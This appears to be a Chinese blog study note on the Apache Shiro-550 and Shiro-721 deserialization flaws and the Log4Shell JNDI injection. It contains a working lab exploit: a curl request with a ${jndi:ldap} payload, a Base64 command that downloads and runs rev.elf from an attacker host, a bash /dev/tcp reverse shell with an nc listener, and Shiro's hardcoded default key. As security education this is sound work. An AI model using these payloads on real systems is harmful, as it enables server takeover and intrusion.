Shiro&Log4j漏洞学习


一、是什么?

Shiro 是 Apache 旗下一款功能强大且易于上手的 Java 安全框架,它提供了身份验证、授权、加密与会话管理等核心安全能力。凭借其简洁直观的 API,开发者能够快速为各类应用构建安全防护——无论是轻量的移动端应用,还是大规模 Web 与企业级系统。

在 Shiro 的已知漏洞中,Shiro-550 与 Shiro-721 是两个典型代表。

二、内容


1.Shiro-550

Apache Shiro 框架在实现身份验证时提供了“记住我”(RememberMe)功能。当用户在登录时勾选该选项后,后续请求的 Cookie 字段中便会附带一段特殊的加密数据,其生成逻辑如下:

用户信息 → 序列化 → AES 加密(使用固定密钥) → Base64 编码 → 写入 RememberMe Cookie 字段

当用户再次访问系统时,服务端会提取该 Cookie 值并进行反向解析以恢复用户身份,从而实现免登录访问。解析流程为:

RememberMe 值 → Base64 解码 → AES 解密(使用相同密钥) → 反序列化 → 还原用户信息

此机制中的核心安全隐患在于 AES 加密密钥的泄露风险。一旦攻击者掌握了该密钥,即可构造恶意的序列化对象替换原始用户信息,并将其经过相同的加密与编码流程后发送至服务端。服务端在对 Cookie 进行反序列化操作时,便会触发远程代码执行,导致反序列化漏洞。

Apache Shiro 1.2.4 及更早版本中,框架默认硬编码了固定密钥 kPH+bIxk5D2deZiIxcaaaA==,使得该版本天然存在此漏洞(即 Shiro-550)。而在后续版本中,虽然框架允许开发者自定义密钥,但若配置不当、使用了弱口令或默认密钥,攻击者依然可能通过爆破、源码泄露等方式获取密钥,进而实施攻击。

ps:若攻击失败了会返回deleteMe

总结一下Shiro550就是密钥是固定的所以导致不安全

2.Shiro-721


在 Apache Shiro 修复了硬编码密钥问题(Shiro-550)之后,其 “RememberMe” 功能转而采用 AES-CBC 加密模式。虽然加解密的整体流程(序列化→加密→Base64编码)未发生本质变化,但该实现却引入了新的安全隐患。

漏洞的根源在于 AES-CBC 模式对 Padding Oracle 攻击的固有脆弱性。攻击者无需事先获取 AES 密钥,仅需利用一个合法的 rememberMe 密文作为样本,通过向服务器发送大量构造过的密文变体并观察服务端对填充错误的差异化响应,即可逐字节恢复出中间状态值。基于此,攻击者能够在不掌握密钥的情况下,对原有的 rememberMe 密文进行篡改,最终构造出包含恶意反序列化载荷的有效 Cookie,从而触发远程代码执行漏洞。

攻击的关键细节在于:利用 Padding Oracle 的反馈信道,以“字节级爆破”的方式将恶意的序列化数据重新封装为合法格式的 AES-CBC 密文,使得服务端在解密校验时毫无察觉地执行攻击者预设的代码逻辑。


在这里插入图片描述
** ** ** ** ** ** ** 01
** ** ** ** ** ** 02 02
** ** ** ** ** 03 03 03
** ** ** ** 04 04 04 04
** ** ** 05 05 05 05 05
** ** 06 06 06 06 06 06
** 07 07 07 07 07 07 07
08 08 08 08 08 08 08 08

根据 PKCS#5 填充规范,当明文长度不是块大小(8 字节)的整数倍时,需在末尾补充字节以凑足整块,且填充的字节数值等于所填补的字节个数

结合约定(* 表示任意数据,块大小为 8 字节),具体规则如下:

  • 若数据为 ** ** ** ** ** ** **(共 7 字节),欠缺 1 字节方可成块,则需填充 1 个字节,其数值为 0x01。填充后结果为:** ** ** ** ** ** ** 01
  • 若数据为 ** ** ** ** ** **(共 6 字节),欠缺 2 字节方可成块,则需填充 2 个字节,每个字节的数值均为 0x02。填充后结果为:** ** ** ** ** ** 02 02

核心规则:缺 N 个字节,就填充 N 个值为 N 的字节。即 02 02 表示当前欠缺 2 字节,因此用两个 0x02 填满。
并且当刚好8字节满了的时候,就另外开一个数据块填充:如

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08

Shiro721总结一下就是 AES-CBC 模式的脆弱性,其模式存在 Padding Oracle 缺陷,可以爆破尝试出来

3.Log4j

Log4j 是 Apache 软件基金会旗下一个使用极为广泛的 Java 日志记录库;2021 年底在其 2.x 版本中发现的 Log4Shell 漏洞(编号 CVE-2021-44228),成为了近年来影响范围最广、破坏力最强的“核弹级”安全漏洞之一

⚙️ 漏洞原理:JNDI 注入攻击

该漏洞的本质是 JNDI(Java 命名和目录接口)注入

  • JNDI 功能:JNDI 允许 Java 程序通过名称(如 URL)查找并加载远程代码(Java 对象),常见协议有 LDAPRMI 等。LDAP:网络协议,指引服务器去哪里获取资源
  • Log4j 的“Lookup”特性:Log4j 有一个 Lookup 功能,能以 ${prefix:name} 的格式解析字符串。例如,${jndi:ldap://attacker.com/exp} 会指示程序去指定的 URL 获取一个 Java 对象(恶意代码)。
  • 攻击过程
    1. 注入:攻击者向目标应用发送一个精心构造的字符串,如 ${jndi:ldap://attacker.com/Exploit},这段字符串会被应用记录到日志中。
    2. 解析:Log4j 解析该日志时,会执行 JNDI Lookup,向攻击者控制的恶意 LDAP 服务器发起请求。
    3. 加载与执行:恶意 LDAP 服务器将请求重定向到一个 HTTP 服务器,该服务器托管着一个恶意的 Java 类文件。目标服务器会下载并执行这个恶意类文件,攻击者从而获得服务器控制权。
(xxxx@master)-[-/recon/cves/log4j]
$curl 192.17.0.2:8080 -H 'X-Api-Version:${jndi:ldap://192.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRw0i8vMTcyLjE3LjAuMTo4MDgxL3Jldi51bGYgLU8gL3RtcC9yZXYuZWxmICYmIGNobW9kICt4IC90bXAvcmV2LmVsZiAmJiAvdG1wL3Jldi51bGY=

192.17.0.2:8080为有漏洞的服务器地址,192.17.0.1:1389为恶意代码下载地址

curl 192.17.0.2:8080 #向运行在172.17.0.2.8080的目标Java应用发起HTTP请求
-H 'X-Api-Version: #这个请求头会被目标应用记录到日志中,从而触发Log4j的解析
${jndi:ldap://192.17.0.1:1389/Basic/Command/Base64/

这是漏洞的核心Payload。$会被Log4i识别为需要动态解析的Lookup表达式
jndi:ldap://…告诉Log4j通过JNDI协议,去连接攻击者控制的LDAP服务器(192.17.0.1:1389)

Base64/d2dIdCBodHRwOi8vMTcyLjE3LjAuMT…
这是经过Base64编码的恶意命令,这条代码可以被攻击者替换为任意代码,从而实现控制服务器,base64编码规避特殊字符解析问题

编码前:

wget http://192.17.0.1:8081/rev.elf  -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf 

Linux反弹Shell命令,用于在目标服务器上执行
从而让攻击者获得对服务器的完全控制

bash -i >& /dev/tcp/192.17.0.1/4444 0>&1

然后我们在攻击者机器上监听4444端口即可

nc -nvlp 4444

总结

参考:
Shiro-721—漏洞分析(CVE-2019-12422)(易懂)
log4j

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

sh3l6y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值